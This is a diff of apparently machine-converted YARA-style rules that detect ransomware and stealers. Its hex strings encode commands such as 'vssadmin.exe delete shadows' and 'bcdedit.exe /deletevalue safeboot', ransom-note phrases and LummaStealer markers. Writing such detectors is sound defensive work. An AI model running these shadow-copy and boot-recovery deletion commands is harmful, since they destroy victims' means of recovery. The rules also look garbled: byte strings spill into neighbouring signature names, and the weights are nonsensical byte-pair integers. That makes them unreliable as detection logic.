64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 10 00 10 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //28531 - $a_53_8 = {4c 2f 4d 61 72 64 6f 6d 2e 53 4d 21 4d 54 42 00 01 00 1d 80 01 43 6f 6e 66 75 73 65 72 45 78 20 76 31 2e 30 2e 30 2d 33 31 2d 67 31 61 66 66 64 38 62 01 00 11 80 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 09 80 01 } //14958 - $a_43_9 = {69 65 6e 74 01 00 0e 80 01 47 65 74 50 72 6f 63 65 73 73 42 79 49 64 02 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 0c 80 01 4d 65 6d 6f 72 79 53 74 } //25943 + $a_01_7 = {00 0a 00 63 6f 6e 74 61 63 74 20 75 73 01 00 0b 00 54 4f 52 20 62 72 6f 77 73 65 72 01 00 10 00 64 65 63 72 79 70 74 20 6f 6e 65 20 66 69 6c 65 01 00 21 00 62 63 64 65 64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 0c 00 0c 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //28531 + $a_6e_8 = {32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4e 21 4d 54 42 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 90 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 } //22330 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24930+(#a_69_2 & 1)*17010+(#a_72_3 & 1)*14930+(#a_6f_4 & 1)*29795+(#a_4d_5 & 1)*26967+(#a_20_6 & 1)*30821+(#a_01_7 & 1)*28531+(#a_53_8 & 1)*14958+(#a_43_9 & 1)*25943) >=10 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24930+(#a_69_2 & 1)*17010+(#a_72_3 & 1)*14930+(#a_6f_4 & 1)*29795+(#a_4d_5 & 1)*26967+(#a_20_6 & 1)*30821+(#a_01_7 & 1)*28531+(#a_6e_8 & 1)*22330) >=10 } -rule _InfrastructureShared_16246{ +rule _InfrastructureShared_17315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -190644,15 +203424,12 @@ rule _InfrastructureShared_16246{ $a_65_3 = {5f 4d 61 69 6e 44 6f 6d 61 69 6e 73 01 00 05 80 01 73 73 73 73 63 01 00 1a 80 01 57 69 6e 4d 61 72 6b 65 74 44 61 74 61 52 65 74 72 69 76 65 72 2e 4d 44 58 73 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 03 01 00 0a 00 0a 00 0c 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 } //384 $a_61_4 = {74 61 2e 42 00 02 00 0c 01 2e 00 62 00 61 00 73 00 74 00 61 00 02 00 1b 00 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 01 00 06 01 46 00 61 00 78 00 01 00 06 00 } //12082 $a_6c_5 = {6e 01 00 09 00 65 6e 63 72 79 70 74 65 64 01 00 0a 00 45 4e 43 52 59 50 54 49 4f 4e 01 00 16 00 64 61 74 61 20 77 69 6c 6c 20 62 65 20 70 75 62 6c 69 73 68 65 64 01 00 0e 00 70 61 79 20 74 68 65 20 72 61 6e 73 6f 6d 01 00 0a 00 63 6f 6e 74 61 63 74 20 75 73 01 00 0b 00 54 4f 52 20 62 72 6f 77 73 65 72 01 00 10 00 64 65 63 72 79 70 } //29811 - $a_6e_6 = {20 66 69 6c 65 01 00 21 00 62 63 64 65 64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 10 00 10 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 53 4d 21 4d 54 42 00 01 00 1d 80 01 43 6f 6e 66 75 73 65 72 45 78 20 76 31 2e 30 2e 30 2d 33 } //8308 - $a_31_7 = {66 66 64 38 62 01 00 11 80 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 09 80 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 80 01 47 65 74 50 72 6f 63 65 73 73 42 79 49 64 02 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 } //11569 - $a_46_8 = {6f } //-32752 o - $a_73_9 = {36 34 53 74 72 69 6e 67 02 00 0c 80 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 02 00 0e 80 01 67 65 74 5f 49 73 41 74 74 61 63 68 65 64 02 00 1a 80 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 03 01 00 13 00 13 00 0a 00 21 23 48 53 54 52 3a 54 72 6f } //17005 + $a_6e_6 = {20 66 69 6c 65 01 00 21 00 62 63 64 65 64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 0c 00 0c 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4e 21 4d 54 42 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 02 00 00 10 } //8308 condition: - ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*384+(#a_00_2 & 1)*29295+(#a_65_3 & 1)*384+(#a_61_4 & 1)*12082+(#a_6c_5 & 1)*29811+(#a_6e_6 & 1)*8308+(#a_31_7 & 1)*11569+(#a_46_8 & 1)*-32752+(#a_73_9 & 1)*17005) >=10 + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*384+(#a_00_2 & 1)*29295+(#a_65_3 & 1)*384+(#a_61_4 & 1)*12082+(#a_6c_5 & 1)*29811+(#a_6e_6 & 1)*8308) >=10 } -rule _InfrastructureShared_16247{ +rule _InfrastructureShared_17316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -190660,20 +203437,27 @@ rule _InfrastructureShared_16247{ $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 42 00 02 00 0c 01 2e 00 62 00 61 00 73 00 74 00 61 00 02 00 1b 00 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 01 00 06 01 46 00 61 00 } //21283 $a_00_1 = {06 } //120 $a_6f_2 = {65 6e 01 00 09 00 65 6e 63 72 79 70 74 65 64 01 00 0a 00 45 4e 43 52 59 50 54 49 4f 4e 01 00 16 00 64 61 74 61 20 77 69 6c 6c 20 62 65 20 70 75 62 6c 69 73 68 65 64 01 00 0e 00 70 61 79 20 74 68 65 20 72 61 6e 73 6f 6d 01 00 0a 00 63 6f 6e 74 61 63 74 20 75 73 01 00 0b 00 54 4f 52 20 62 72 6f 77 73 65 72 01 00 10 00 64 65 63 72 79 70 74 20 6f 6e } //29440 - $a_69_3 = {65 01 00 21 00 62 63 64 65 64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 10 00 10 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 53 4d 21 4d 54 42 00 01 00 1d 80 01 43 6f 6e 66 75 73 65 72 45 78 20 76 31 2e } //8293 - $a_2d_4 = {31 2d 67 31 61 66 66 64 38 62 01 00 11 80 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 09 80 01 57 65 62 43 6c 69 65 6e 74 01 00 } //11824 - $a_47_5 = {74 } //-32754 t - $a_63_6 = {73 73 42 79 49 64 02 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 0c 80 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 02 00 0e 80 01 67 65 74 5f 49 73 41 74 74 61 63 68 65 64 02 00 1a 80 01 43 68 } //29264 - $a_52_7 = {6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 00 00 78 03 01 00 13 00 13 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 33 21 4d 54 42 00 0a 00 5f 02 1c 62 d2 58 86 11 07 11 0b 18 d6 6f 90 01 04 1b 62 d2 58 86 11 07 11 0b 19 d6 6f 90 01 04 1a 62 d2 } //25445 - $a_07_8 = {11 0b 1a d6 6f 90 01 04 19 62 d2 58 86 11 07 11 0b } //-31144 - $a_90_9 = {04 18 62 d2 58 86 11 07 11 0b 1c d6 6f 90 01 04 17 62 d2 58 86 11 07 11 0b 1d d6 6f 90 01 04 58 86 6f 90 00 01 00 08 00 4e 53 65 72 76 65 72 30 01 00 08 00 4e 53 65 72 76 65 72 31 01 00 08 00 4e 53 65 72 76 65 72 32 01 00 08 00 4e 53 65 72 76 65 72 33 01 00 08 00 4e 53 65 72 76 65 72 34 01 00 08 00 4e 53 65 72 76 65 72 35 01 00 06 } //-10725 - $a_42_10 = {74 65 01 00 0b 00 43 68 61 72 54 6f 56 61 6c 75 65 01 00 0c 00 42 61 73 65 33 32 53 74 72 69 6e 67 00 00 78 04 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 4d 61 6c 77 61 72 65 5f 51 41 5f 74 6c 73 00 01 00 26 01 5c 66 75 6e 6f 76 65 72 69 70 5c 75 6c 74 69 6d 61 74 65 2d 70 61 79 6c } //21504 - $a_2d_11 = {65 6d 70 6c 61 74 65 31 5c 01 00 50 03 55 00 4c 00 54 00 49 00 4d 00 41 00 54 00 45 00 50 00 41 00 59 00 4c 00 4f 00 41 00 44 00 54 00 45 00 4d 00 50 00 4c 00 41 00 54 00 45 00 31 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 54 03 75 00 6c } //24943 + $a_69_3 = {65 01 00 21 00 62 63 64 65 64 69 74 2e 65 78 65 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 73 61 66 65 62 6f 6f 74 00 00 78 03 01 00 0c 00 0c 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4e 21 4d 54 42 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 } //8293 + $a_72_9 = {72 63 90 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 90 } //-8192 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*120+(#a_6f_2 & 1)*29440+(#a_69_3 & 1)*8293+(#a_2d_4 & 1)*11824+(#a_47_5 & 1)*-32754+(#a_63_6 & 1)*29264+(#a_52_7 & 1)*25445+(#a_07_8 & 1)*-31144+(#a_90_9 & 1)*-10725+(#a_42_10 & 1)*21504+(#a_2d_11 & 1)*24943) >=10 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*120+(#a_6f_2 & 1)*29440+(#a_69_3 & 1)*8293+(#a_72_9 & 1)*-8192) >=10 } -rule _InfrastructureShared_16248{ +rule _InfrastructureShared_17317{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4e 21 4d 54 42 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //21539 + $a_72_1 = {90 00 0a 00 27 03 05 00 00 10 00 00 00 90 01 01 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 90 00 0a 00 27 03 06 00 00 10 00 00 00 90 01 01 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 90 00 0a 00 27 03 06 00 00 10 00 00 00 90 01 01 06 00 00 10 00 00 00 00 00 00 00 00 00 } //29230 + $a_73_4 = {63 90 00 01 00 0c 01 40 00 00 e0 2e 74 61 67 67 61 6e 74 01 00 05 01 4d 5a 78 00 01 18 fc 0a 81 01 6a 76 31 36 50 54 2e 65 78 65 00 00 78 03 01 00 10 00 10 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 53 4d 21 4d 54 42 00 01 00 1d 80 01 43 6f 6e 66 75 73 65 72 45 78 20 76 31 2e 30 2e 30 2d 33 31 2d } //12000 + $a_66_5 = {64 38 62 01 00 11 80 01 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 01 00 09 80 01 57 65 62 43 6c 69 65 6e 74 01 00 0e 80 01 47 65 74 50 72 6f 63 65 73 73 42 79 49 64 02 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 } //12647 + $a_00_6 = {10 80 } //26478 + condition: + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*29230+(#a_73_4 & 1)*12000+(#a_66_5 & 1)*12647+(#a_00_6 & 1)*26478) >=12 + +} +rule _InfrastructureShared_17318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0a 00 21 " @@ -190692,7 +203476,7 @@ rule _InfrastructureShared_16248{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2+(#a_80_8 & 1)*2+(#a_03_9 & 1)*0) >=16 } -rule _InfrastructureShared_16249{ +rule _InfrastructureShared_17319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -190710,7 +203494,7 @@ rule _InfrastructureShared_16249{ ((#a_54_0 & 1)*18467+(#a_86_1 & 1)*-11678+(#a_33_2 & 1)*25974+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_04_6 & 1)*0+(#a_00_8 & 1)*111+(#a_90_9 & 1)*29295) >=19 } -rule _InfrastructureShared_16250{ +rule _InfrastructureShared_17320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -190721,7 +203505,7 @@ rule _InfrastructureShared_16250{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*848) >=1 } -rule _InfrastructureShared_16251{ +rule _InfrastructureShared_17321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -190733,7 +203517,7 @@ rule _InfrastructureShared_16251{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*52+(#a_00_3 & 1)*49) >=1 } -rule _InfrastructureShared_16252{ +rule _InfrastructureShared_17322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -190751,7 +203535,7 @@ rule _InfrastructureShared_16252{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*29541+(#a_e6_2 & 1)*4608+(#a_72_3 & 1)*25972+(#a_63_4 & 1)*-16384+(#a_c6_5 & 1)*257+(#a_00_6 & 1)*144+(#a_01_7 & 1)*-18368+(#a_00_8 & 1)*32) >=1 } -rule _InfrastructureShared_16253{ +rule _InfrastructureShared_17323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -190762,7 +203546,7 @@ rule _InfrastructureShared_16253{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*17606) >=2 } -rule _InfrastructureShared_16254{ +rule _InfrastructureShared_17324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -190773,7 +203557,7 @@ rule _InfrastructureShared_16254{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*-29177) >=2 } -rule _InfrastructureShared_16255{ +rule _InfrastructureShared_17325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -190785,7 +203569,7 @@ rule _InfrastructureShared_16255{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*122) >=2 } -rule _InfrastructureShared_16256{ +rule _InfrastructureShared_17326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -190797,7 +203581,7 @@ rule _InfrastructureShared_16256{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28615+(#a_2d_2 & 1)*23085) >=2 } -rule _InfrastructureShared_16257{ +rule _InfrastructureShared_17327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190809,7 +203593,7 @@ rule _InfrastructureShared_16257{ ((#a_46_0 & 1)*16675+(#a_fc_1 & 1)*-30464+(#a_04_2 & 1)*-28651) >=3 } -rule _InfrastructureShared_16258{ +rule _InfrastructureShared_17328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190821,7 +203605,7 @@ rule _InfrastructureShared_16258{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_16259{ +rule _InfrastructureShared_17329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190833,7 +203617,7 @@ rule _InfrastructureShared_16259{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_2 & 1)*50) >=3 } -rule _InfrastructureShared_16260{ +rule _InfrastructureShared_17330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190844,7 +203628,7 @@ rule _InfrastructureShared_16260{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47) >=3 } -rule _InfrastructureShared_16261{ +rule _InfrastructureShared_17331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -190855,7 +203639,7 @@ rule _InfrastructureShared_16261{ ((#a_54_0 & 1)*18467+(#a_13_2 & 1)*1043) >=3 } -rule _InfrastructureShared_16262{ +rule _InfrastructureShared_17332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -190871,7 +203655,7 @@ rule _InfrastructureShared_16262{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25436+(#a_00_2 & 1)*108+(#a_61_3 & 1)*11008+(#a_61_4 & 1)*25967+(#a_65_5 & 1)*28530+(#a_63_6 & 1)*18490) >=3 } -rule _InfrastructureShared_16263{ +rule _InfrastructureShared_17333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190883,7 +203667,7 @@ rule _InfrastructureShared_16263{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*358+(#a_65_2 & 1)*24951) >=4 } -rule _InfrastructureShared_16264{ +rule _InfrastructureShared_17334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190896,7 +203680,7 @@ rule _InfrastructureShared_16264{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*26991+(#a_40_2 & 1)*16709+(#a_65_3 & 1)*30051) >=4 } -rule _InfrastructureShared_16265{ +rule _InfrastructureShared_17335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -190908,7 +203692,7 @@ rule _InfrastructureShared_16265{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*50+(#a_00_3 & 1)*105) >=4 } -rule _InfrastructureShared_16266{ +rule _InfrastructureShared_17336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -190923,7 +203707,7 @@ rule _InfrastructureShared_16266{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_69_2 & 1)*8307+(#a_54_3 & 1)*8502+(#a_62_5 & 1)*21505+(#a_37_6 & 1)*25394) >=4 } -rule _InfrastructureShared_16267{ +rule _InfrastructureShared_17337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -190936,7 +203720,7 @@ rule _InfrastructureShared_16267{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*12146+(#a_01_2 & 1)*9472+(#a_6f_3 & 1)*28233) >=5 } -rule _InfrastructureShared_16268{ +rule _InfrastructureShared_17338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -190949,7 +203733,7 @@ rule _InfrastructureShared_16268{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*25455+(#a_00_3 & 1)*83+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_16269{ +rule _InfrastructureShared_17339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -190963,7 +203747,7 @@ rule _InfrastructureShared_16269{ ((#a_46_0 & 1)*21283+(#a_52_1 & 1)*-2246+(#a_da_3 & 1)*28751+(#a_49_4 & 1)*17217+(#a_52_5 & 1)*21320) >=5 } -rule _InfrastructureShared_16270{ +rule _InfrastructureShared_17340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190977,7 +203761,7 @@ rule _InfrastructureShared_16270{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*65+(#a_00_3 & 1)*117+(#a_6f_4 & 1)*20572+(#a_72_5 & 1)*26227) >=6 } -rule _InfrastructureShared_16271{ +rule _InfrastructureShared_17341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -190992,7 +203776,7 @@ rule _InfrastructureShared_16271{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28524+(#a_6f_2 & 1)*385+(#a_01_3 & 1)*2816+(#a_6f_4 & 1)*8289+(#a_64_5 & 1)*27950) >=6 } -rule _InfrastructureShared_16272{ +rule _InfrastructureShared_17342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191007,7 +203791,7 @@ rule _InfrastructureShared_16272{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29472+(#a_67_2 & 1)*30323+(#a_6c_3 & 1)*29550+(#a_64_4 & 1)*26738+(#a_61_5 & 1)*27765) >=6 } -rule _InfrastructureShared_16273{ +rule _InfrastructureShared_17343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191021,7 +203805,7 @@ rule _InfrastructureShared_16273{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29285+(#a_68_2 & 1)*28021+(#a_69_3 & 1)*30058+(#a_69_4 & 1)*23553) >=6 } -rule _InfrastructureShared_16274{ +rule _InfrastructureShared_17344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -191037,7 +203821,7 @@ rule _InfrastructureShared_16274{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26478+(#a_44_2 & 1)*9573+(#a_64_3 & 1)*16686+(#a_6f_4 & 1)*25924+(#a_00_5 & 1)*97+(#a_6e_6 & 1)*22330) >=7 } -rule _InfrastructureShared_16275{ +rule _InfrastructureShared_17345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -191052,7 +203836,7 @@ rule _InfrastructureShared_16275{ ((#a_46_0 & 1)*16675+(#a_5f_2 & 1)*25971+(#a_00_3 & 1)*97+(#a_65_5 & 1)*30821+(#a_00_6 & 1)*28265+(#a_3a_7 & 1)*24938) >=7 } -rule _InfrastructureShared_16276{ +rule _InfrastructureShared_17346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0d 00 21 " @@ -191061,37 +203845,54 @@ rule _InfrastructureShared_16276{ $a_6e_1 = {2e 64 61 74 00 25 73 5c 25 73 5c 00 01 00 0d 01 75 72 6c 00 72 65 74 61 72 67 65 74 00 01 00 0a 01 64 65 6c 00 75 72 6c 65 78 00 01 00 0b 00 57 69 6e 50 72 6f 2e 69 6e 69 00 01 00 0b 00 57 69 6e 50 72 6f 2e 64 6c 6c 00 01 00 10 01 2f 74 68 30 2e 61 73 70 3f 6b 3d 25 73 26 69 64 01 00 0c 01 2f 65 78 63 65 70 74 2e } //29812 $a_00_2 = {01 00 0b 00 57 69 6e 6b 65 79 2e 69 6e 69 00 01 00 0d 01 5b 6b 65 79 77 6f 72 64 73 65 78 5d 00 00 00 78 04 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 54 52 41 48 31 21 4d 54 42 00 01 00 26 81 01 53 79 73 53 68 6f 70 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e } //24932 $a_6f_3 = {72 63 65 73 01 00 17 81 01 53 79 73 53 68 6f 70 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 81 01 44 65 62 75 67 67 65 72 42 72 6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 1c 81 01 44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e } //25970 - $a_72_4 = {62 75 74 65 01 00 11 81 01 67 65 74 5f 43 75 72 72 65 6e 74 54 68 72 65 61 64 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 81 01 47 65 74 54 79 70 65 00 00 78 04 01 00 08 00 08 00 0a 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 49 6e 73 74 61 6c 6c 65 72 2e 4d } //29761 - $a_00_5 = {0a } //75 - $a_48_6 = {43 4b 4f 46 46 45 52 01 00 0c 80 01 43 52 45 41 54 45 4f 46 46 45 52 53 01 00 0e 80 01 47 45 54 4f 46 46 45 52 53 41 52 52 41 59 01 00 13 80 01 47 45 54 4f 46 46 45 52 49 4e 44 45 58 42 59 50 41 47 45 } //384 - $a_80_7 = {41 44 44 50 41 47 45 53 41 46 54 45 52 4f 46 46 45 52 53 } //ADDPAGESAFTEROFFERS 1 - $a_80_8 = {50 41 47 45 44 4f 57 4e 4c 4f 41 44 41 43 54 49 56 41 54 45 44 } //PAGEDOWNLOADACTIVATED 1 - $a_80_9 = {75 54 6f 72 72 65 6e 74 43 6c 61 73 73 69 63 } //uTorrentClassic 1 - $a_80_10 = {75 54 6f 72 72 65 6e 74 43 6c 61 73 73 69 63 5f 5a 42 } //uTorrentClassic_ZB 1 - $a_80_11 = {55 6e 69 6e 73 74 2e 65 78 65 } //Uninst.exe -100 - $a_80_12 = {55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 } //Uninstall.exe -100 + $a_72_4 = {62 75 74 65 01 00 11 81 01 67 65 74 5f 43 75 72 72 65 6e 74 54 68 72 65 61 64 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 07 81 01 47 65 74 54 79 70 65 00 00 78 04 01 00 08 00 08 00 08 00 21 23 48 53 